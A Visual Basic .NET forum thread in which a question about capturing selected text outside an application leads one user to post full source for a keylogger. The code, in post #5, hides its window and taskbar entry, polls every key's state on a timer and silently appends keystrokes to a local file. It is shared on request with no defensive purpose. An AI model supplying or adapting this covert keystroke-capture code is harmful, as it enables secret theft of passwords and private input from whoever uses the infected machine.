![]() |
|
![]() |
|
|
Thread Tools | Display Modes |
|
|
|
|
#1 |
|
Programmer
Join Date: Jun 2005
Location: Amittyville
Posts: 60
Rep Power: 4
![]() |
Accessing the Selected Text
Can you access the selected text on a computer anywhere even outside the application, then take the text and write it to a file? This might be a reach or outside of the capabilities of VB.NET, but I don't know so please help, and if its impossible please tell me. Thanx!
__________________
I steal hippos... |
|
|
|
|
|
#2 |
|
Professional Programmer
Join Date: Feb 2005
Location: PA, USA
Posts: 254
Rep Power: 4
![]() |
if you want to work with stuff outside of your forms, you'll probably need to call unmanaged code (API's such as win32).
I just made a simple keylogger in .NET and this was one of the problems I encountered, I had to make a call out to some unmanaged code to achieve this. as for selected text, if you search around enough you can probably find the right thing to call to do something like that this way. I believe there is an API function somewhere to get the selected text and place it in the clipboard, from here it would be easily retrievable from within your program by using a .NET class. maybe try searching around here? http://msdn.microsoft.com/library/de...pboarddata.asp let me know if you figure anything out. by the way, how are you planning on triggering the event? what i mean is, does everything that is selected get copied, or are you going to click a button to make it happen or what? edit: there's probably a way to save it to a file without using the clipboard at all, i'll look more into it later, i gotta get to bed for now though.
__________________
I have never let my schooling interfere with my education. -Mark Twain- Xbox live gamertag: melbolt Last edited by melbolt; Jun 23rd, 2005 at 1:39 AM. |
|
|
|
|
|
#3 |
|
Programmer
Join Date: Jun 2005
Location: Amittyville
Posts: 60
Rep Power: 4
![]() |
Well when they press a button it will get the selected text, do you have a link to the key logger you made, I'd like to check it out, with the source if possible, thanx!
__________________
I steal hippos... |
|
|
|
|
|
#4 | |
|
Professional Programmer
Join Date: Feb 2005
Location: PA, USA
Posts: 254
Rep Power: 4
![]() |
Quote:
__________________
I have never let my schooling interfere with my education. -Mark Twain- Xbox live gamertag: melbolt |
|
|
|
|
|
|
#5 |
|
Professional Programmer
Join Date: Feb 2005
Location: PA, USA
Posts: 254
Rep Power: 4
![]() |
it's pretty simple, here ya go
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Visible = False
Me.ShowInTaskbar = False
Timer1.Enabled = True
Timer1.Start()
End Sub
Dim result As Integer
Dim i As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
File.AppendAllText("C:\bla.txt", Chr(i))
End If
Next i
End Sub
End Class
__________________
I have never let my schooling interfere with my education. -Mark Twain- Xbox live gamertag: melbolt |
|
|
|
|
|
#6 |
|
Programmer
Join Date: Jun 2005
Location: Amittyville
Posts: 60
Rep Power: 4
![]() |
kewl thanx!
__________________
I steal hippos... |
|
|
|
![]() |
| Bookmarks |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|